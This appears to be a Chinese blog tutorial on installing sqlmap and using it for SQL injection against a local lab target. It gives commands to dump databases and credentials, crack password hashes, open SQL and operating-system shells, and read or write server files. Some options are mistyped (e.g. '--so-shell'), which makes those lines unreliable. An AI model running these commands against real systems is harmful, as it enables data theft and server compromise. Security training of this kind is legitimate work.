• sqlmap安装与使用基础


     注意:本章使用的注入点是乱写的,主要以参数应用为主,可以采用自己的注入点

    sqlmap需要用到python2和sqlmap

    python是一个运行环境简称py,sqlmap是一个工具,sqlmap需用依靠python环境来运行起来.


    1.pthony2去网盘找
    2.sqlmap:sqlmap.org(官网下载)
    3.下载后默认安装c盘
    4.sqlmap解压后,把解压后的文件名改成sqlmap
    5.裁剪文件夹粘贴到c盘的python目录下
    6.在复制sqlmap的路径
    7.此电脑-属性-高级设置-环境变量-path-编辑-新建-粘贴sqlmap的路径-确定-确定
    8.在复制python的路径
    9.此电脑-属性-高级设置-环境变量-path-编辑-新建-粘贴spthon的路径-确定-确定
    10.测试是否安装成功-cmd---sqlmap.py回车

    sqlmap使用基础

    一.判断是否存在注入
    1.假定目标注入点是http://127.0.0.1/sss/?id=1

    执行  1 sqlmap.py -u 127.0.0.1/sss/?id=1 --batch  --batch =跳过选择
    可以判断出用的什么数据库,服务器,系统,等版本

    2.还有一种情况,当注入点后面的参数大于等于2的时候,需要加双引号
    例如: 1 sqlmap.py -u ''127.0.0.1/sss/?id=1&uid2" 

    3.判断问本中的请求是否存在注入
    用burp开启代理抓爆,把抓到的post参数复制下来,粘贴到记事本里保存命名1.txt,在把记事本放到sqlmap文件夹里.
    执行  1 sqlmap.py -r desktop/1.txt      

    desktop桌面  

    -r 路径

    ps:这是将1.txt放到桌面下才会添加路径如果是sqlmap文件夹里就不用

    执行  1 sqlmap.py -r 1.txt  
    切记cmd也得切换到所在目录才能执行

    执行  1 sqlmap.py -r C:/Python27/sqlmap/1.txt 
    这是相对路径的使用办法

    4.查询当前用户下的所有数据库
    该命令是确定网站存在诸如后,用语查询用户的所有数据库,前提是要有权限读取.
    执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --dbs 

    5.获取数据库中的表名
    格式 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 库名 --tables
    执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D security --tables    库名就是第四步所有数据库下的其中一个名
     
    6.获取表中的字段名(列名)
    该命令作用是查询完表名后,查询某一个表名中所有的列,
    执行 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 库名 -T 列名 --columns
    执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D security -T users --columns 

    7.获取字段内容
    改名了是查询完列名后,获取指定列中具体的字段数据
    执行 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 库名 -T 列名 -C 列名,列名,列名 --dump
    执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 库名 -T 列名 -C id,passwore,username --dump 
    基本这一步骤就可以找后台进行文件上传漏洞了

    8.获取数据库中所有的用户
    该命令的作用是列出数据库所有用户,如果有权限也可以管理用户
    执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --users 

    9.获取数据库用户名的密码
    该命令是列出数据库的用户的密码,当权限运行起来时候,sqlmap会先列举出用户名,然后列出HASH 并尝试破解运行
     1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --passwords     也可以加默认--batch

    10.获取当前网站数据库的用户名称(网站用的是哪个数据库名)
    该命令的作用是列出当前网站的使用的数据用户,
    执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --current-user      也可以加默认--batch

    11.获取当前网站是哪个的数据库

     1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --current-db 

    sqlmap使用进阶

    1.--level 5   探测等级
    --level 5指的是一共探测有5个等级(1-5),可以不用加level  ,默认等级是1.
    执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --level 2 
    sqlmap使用的payload可以在文件路径xml/payloads.xml中看到,也可以按照格式自动添加payload.
    其中5级包含的payload最多,自动破解cookie,xff等头部注入,5级运行的也慢.
    这个注入参数会影响的注入点,get和post的数据都会测试,
    http cookoe在为2的时候就会测试,
    hettp user-agent/referer头在leve为3的时候就会测试.在不确定哪个漏洞或者注入点时可以提高level值

    2.--is-dba:查看当前用户账户是否为数据库管理权限
    执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --is-dba   是管理员权限会返回True

    3.--roles:列出数据库管理员的角色
    当用户有权限读取包含所以用户的表,输入该命令会列举出每一个用户的角色,也可以用,-U参数指定想看哪个用户的角色
    执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --roles 

    4.--referer:http referer投
    sqlmap可以在请求中伪造http中的referer,当level参数设定为3或者3以上时,会尝试对referer头注入.
    可以使用referer命令来欺骗,如:--referer http://www.baidu.com
     1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --referer http://www.baidu.com 
    意思就是你用百度的链接进入了你要注入的网站

    5.--sql-shell:运行自定义sql语句
    也就是在sqlmap里运行一个sql语句 里面可以执行 select*from users limit 0,1语句
    执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --sql-shell 

    进如成功后
     1 select*from users;  他会告诉你users这个表里的所有内容
     1 slesct version();     他会告诉你数据库版本

    6.--os-cmd,   --os-shell:运行任意操作系统命令
    执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --so-shell 
    特别注意:使用这两个命令必须具备的条件
        1.数据库用户必须是adb超级权限
        2. 知道网站的绝对路径
        3.php当中gpc为off,php自动转义为关闭转态
        4.就算具备以上三个条件,因为涉及到系统命令,也未必可以执行成功
    执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --so-cmd=ipconfig 


    7.--file-read:从服务器中读取文件
    该命令用语读取执行文件
     1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --file-read "C:/1.txt" 

    8.--file-write,   --file-dest:上传文件到数据库服务器中

    1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --file-write"上传文件路径(相对路径)"--file-dest网站路径(写入路径)+"/写入的文件名"
  • 相关阅读:
    字符串和编码
    Python基础
    输入和输出
    Python代码运行助手
    使用文本编辑器
    第一个Python程序
    pycharm中创建并设置docker解释器
    docker 在windows上的使用
    Python time datetime模块
    Linux安装字体文件
  • 原文地址:https://www.cnblogs.com/fanghan/p/13064454.html
Copyright © 2020-2023  润新知